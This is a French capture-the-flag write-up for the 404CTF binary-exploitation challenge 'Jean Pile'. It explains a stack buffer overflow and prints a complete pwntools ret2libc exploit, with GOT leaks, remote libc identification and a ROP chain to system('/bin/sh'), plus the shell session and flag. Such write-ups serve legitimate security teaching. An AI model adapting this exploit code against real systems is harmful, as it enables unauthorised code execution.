Post

🇫🇷 404CTF - Jean Pile

Description

Catégorie: Exploitation de binaires

Cantine de la course annuelle du 404

Bienvenue à tous dans la course annuelle du 404CTF : c’est le jour J et sur place, un restaurant a été mis à la disposition des participants. C’est un certain Jean Pile qui en est le propriétaire et, ce qui est clair, c’est que ses choix pour le menu sont très bizarres :

1 pouler, 2 pouler, 3 pouler…

Comment allez-vous bien pouvoir lui soutirer des informations sur les autres candidats ?

Objectif: lire le fichier flag.txt

Notez que l’ASLR est activé

Auteur: @Narcisse

Solution

La solution proposée ci-dessous n’est pas la solution prévue par l’auteur, cliquez ici pour avoir une idée de la solution prévue.

1. Analyse

On regarde les protections en place pour le binaire:

1
2
3
$ checksec --file=jean_pile 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   73 Symbols	 No	0		4		jean_pile

Plusieurs points intéressants:

  • NX est desactivĂ© donc on peut Ă©crire un shellcode et l’exĂ©cuter;
  • Pas de canary donc pas besoin de leak des informations pour les buffer overflow;
  • Pas de PIE donc les adresses des fonctions du binaire ne seront pas alĂ©atoires.

Puis on décompile le binaire avec dogbolt (voir ici).

On va principalement s’intéresser à la fonction service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// DĂ©compiler avec Hex-Rays
char *service()
{
  char *result; // rax
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  int v2; // [rsp+28h] [rbp-8h] BYREF
  int i; // [rsp+2Ch] [rbp-4h]

  puts("Voulez-vous commander un plat ou plus ?");
  printf(">>> ");
  fflush(stdin);
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == 1 )
  {
    puts("Choisissez un plat.");
    printf(">> ");
    result = fgets(s, 200, stdin);
    if ( !result )
      exit(-1);
    for ( i = 0; i <= 199; ++i )
    {
      result = (char *)(unsigned __int8)s[i];
      if ( (_BYTE)result == 10 )
      {
        result = (char *)i;
        s[i] = 0;
      }
    }
  }
  else
  {
    puts("Choisissez un plat.");
    printf(">> ");
    if ( !fgets(s, 200, stdin) )
      exit(-1);
    for ( i = 0; i <= 199; ++i )
    {
      if ( s[i] == 10 )
        s[i] = 0;
    }
    puts("Un nouveau serveur revient vers vous pour la suite de votre commande au plus vite.");
    return (char *)service();
  }
  return result;
}

Le tableau s a une taille de 40 octets mais on peut écrire jusqu’à 200 octets avec fgets(s, 200, stdin): on peut faire un buffer overflow.

Avec ce buffer overflow on peut écrire un shellcode mais il faut savoir à quelle addresse on l’a écrit pour l’exécuter car l’ASLR est activé. Dans notre cas, il y a aucun moyen de leak une adresse en lien avec l’adresse du shellcode dans la stack.

On pourrait faire un NOP sled mais le binaire est compilé en 64 bits ce qui rend cette attaque très difficile.

En me renseignant sur internet pour voir comment contourner l’ASLR en 64 bits je suis tombé sur ce guide: ret2plt ASLR bypass - ir0nstone et j’ai vu qu’il était possible de leak les adresses des fonctions de libc.

2. ret2libc en local

En suivant le guide, je suis maintenant capable de leak n’importe quelle fonction de libc qui est utilisée dans le binaire.

Toutefois, aucun libc n’a été fourni avec le challenge mais je décide tout de même de faire un ret2libc vu que c’était la seule idée qu’il me restait.

Mon but est donc d’appeler system pour obtenir un shell mais system n’a jamais été utilisé dans le binaire, donc on doit trouver son adresse.

Je commence par leak l’adresse de puts pour pouvoir ensuite calculer l’adresse de base de libc (de ma machine en local):

1
2
3
4
5
6
7
8
9
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['puts'])
payload = flat(
    cyclic(56),
    rop.chain(),
    elf.sym['service']
)
p.sendline(payload)

Comment ça marche ?

  • Vu que puts est utilisĂ© dans le binaire on connait son adresse mais ce n’est pas celle dans libc mais dans le binaire.
  • On utilise ici puts pour afficher l’adresse pointĂ©e par got['puts'].
  • Pour rĂ©sumer rapidement, le GOT (Global Offset Table) est un tableau qui stocke les adresses des fonctions de libc utilisĂ©es par le binaire directement dans le binaire.
  • Donc en appelant puts(got['puts']) on va afficher l’adresse de puts dans la libc.

J’obtiens bien l’adresse de puts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Bienvenue dans la cantine de la fameuse course annuelle du 404 ctf !
                                              _                    
                                   .-.  .--''` )                  
                                _ |  |/`   .-'`                   
                               ( `\      /`                       
                               _)   _.  -'._                       
                             /`  .'     .-.-;                      
                             `).'      /  \  \                   
                            (`,        \_o/_o/__                  
                             /           .-''`  ``'-.              
                             {         /` ,___.--''`             
                             {   ;     '-. \ \                  
           _   _             {   |'-....-`'.\_\                =============menu=============
          / './ '.           \   \          `"`                |                            |
       _  \   \  |            \   \                            |          1 pouler          |
      ( '-.J     \_..----.._ __)   `\--..__                    |          2 pouler          |
     .-`                    `        `\    ''--...--.          |          3 pouler          |
    (_,.--`/`         .-             `\       .__ _)           |                            |
            |          (                 }    .__ _)           ==============================
            \_,         '.               }_  - _.'                
               \_,         '.            } `'--'                  
                  '._.     ,_)          /                          
                     |    /           .'                           
                      \   |    _   .-'                            
                       \__/;--.||-'                               
                        _||   _||__   __                           
                 _ __.-` "`)(` `"  ```._)                        
                (_`,-   ,-'  `''-.   '-._)                         
               (  (    /          '.__.'                           
                `"`'--'"                                         

Voulez-vous commander un plat ou plus ?
>>> Choisissez un plat.
>> \xd0gE\xebommander un plat ou plus ?
Voulez-vous commander un plat ou plus ?
>>> $

Avec ça je peux calculer l’adresse de base de libc et ainsi avoir l’adresse de system:

1
2
3
4
5
p.recvuntil(b'Choisissez un plat.\n>> ')
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts leaked: {hex(puts_addr)}')

libc.address = puts_addr - libc.sym['puts']

Avec l’addresse de system je peux maintenant obtenir un shell en appelant system('/bin/sh'):

1
2
3
4
5
6
7
8
9
p.sendline(b'1')
payload = flat(
    cyclic(56),
    p64(0x0000000000400646), # ret ==> éviter les problèmes d'alignement
    p64(0x0000000000400b83), # pop rdi; ret ==> mettre '/bin/sh' dans rdi (premier argument de system)
    next(libc.search(b'/bin/sh\x00')),
    p64(libc.sym['system']), # ==> Appeler system
)
p.sendline(payload)

J’obtiens bien un shell en local mais la version de libc de ma machine n’est pas la même que celle sur le serveur et donc l’attaque ne marche pas.

3. ret2libc sans libc

Arrivé jusqu’ici, j’ai un exploit qui marche à condition de connaître le libc utilisé sur le serveur.

La suite n’est pas compliquée car il suffirait de bruteforce avec toutes les versions de libc jusqu’à tomber sur la bonne.

Mais il est possible de savoir la version de libc en fonction des adresses de ses fonctions avec libc.rip:

puts

Juste avec une adresse, j’ai limité le nombre de libc à tester à 3.

Il suffit donc de leak des fonctions en plus jusqu’à qu’il reste une seule version possible de libc.

Je leak donc une fonction en plus, par exemple printf:

1
2
3
4
5
6
7
8
9
10
11
12
13
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['printf'])
payload = flat(
    cyclic(56),
    rop.chain(),
    elf.sym['service']
)
p.sendline(payload)

p.recvuntil(b'Choisissez un plat.\n>> ')
printf_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'printf leaked: {hex(printf_addr)}')

Sur pwntools, il existe une fonction qui permet de télécharger libc directement en fonction des adresses des fonctions:

1
2
3
4
5
# Téléchager le bon libc
libc_filename = libcdb.search_by_symbol_offsets({'puts': puts_addr, 'printf': printf_addr}, select_index=1)
libc = ELF(libc_filename)
# Mettre Ă  jour son adresse de base
libc.address = puts_addr - libc.sym['puts']

Maintenant on peut effectuer l’exploit sur le serveur sans même connaître la version du libc:

1
2
3
4
5
6
7
8
9
p.sendline(b'1')
payload = flat(
    cyclic(56),
    p64(0x0000000000400646), # ret ==> 
    p64(0x0000000000400b83), # pop rdi; ret
    next(libc.search(b'/bin/sh\x00')),
    p64(libc.sym['system']),
)
p.sendline(payload)

Et on peut lire le flag après avoir obtenu un shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ python3 jean_pile_solve.py 
[*] '/home/michel/Downloads/404ctf/jean_pile'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
[+] Opening connection to challenges.404ctf.fr on port 31957: Done
[*] Loaded 14 cached gadgets for '/home/michel/Downloads/404ctf/jean_pile'
[+] puts leaked: 0x7f63c5b8f980
[+] printf leaked: 0x7f63c5b6a5b0
[*] Using cached data from '/home/michel/.cache/.pwntools-cache-3.12/libcdb/build_id/6e0c484b6672bb6b42112466aea15108bd557d06'
[*] '/home/michel/.cache/.pwntools-cache-3.12/libcdb/build_id/6e0c484b6672bb6b42112466aea15108bd557d06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
Voulez-vous commander un plat ou plus ?
>>> Choisissez un plat.
>> $ ls
flag.txt
jean_pile
$ cat flag.txt
404CTF{f4n_2_8denn3u}

Flag: 404CTF{f4n_2_8denn3u}

Code complet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = elf = ELF("jean_pile")

# p = gdb.debug(elf.path, gdbscript='continue')
# p = process()
p = remote("challenges.404ctf.fr", 31957)

p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['puts'])
payload = flat(
    cyclic(56),
    rop.chain(),
    elf.sym['service']
)
p.sendline(payload)

p.recvuntil(b'Choisissez un plat.\n>> ')
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts leaked: {hex(puts_addr)}')

p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['printf'])
payload = flat(
    cyclic(56),
    rop.chain(),
    elf.sym['service']
)
p.sendline(payload)

p.recvuntil(b'Choisissez un plat.\n>> ')
printf_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'printf leaked: {hex(printf_addr)}')

libc_filename = libcdb.search_by_symbol_offsets({'puts': puts_addr, 'printf': printf_addr}, select_index=1)
libc = ELF(libc_filename)
libc.address = puts_addr - libc.sym['puts']

p.sendline(b'1')
payload = flat(
    cyclic(56),
    p64(0x0000000000400646), # ret
    p64(0x0000000000400b83), # pop rdi; ret
    next(libc.search(b'/bin/sh\x00')),
    p64(libc.sym['system']),
)
p.sendline(payload)
p.interactive()
p.close()

4. La vraie solution

Crédit à @Lowengeist, @V0odOo et @Narcisse:

Solution

This post is licensed under CC BY 4.0 by the author.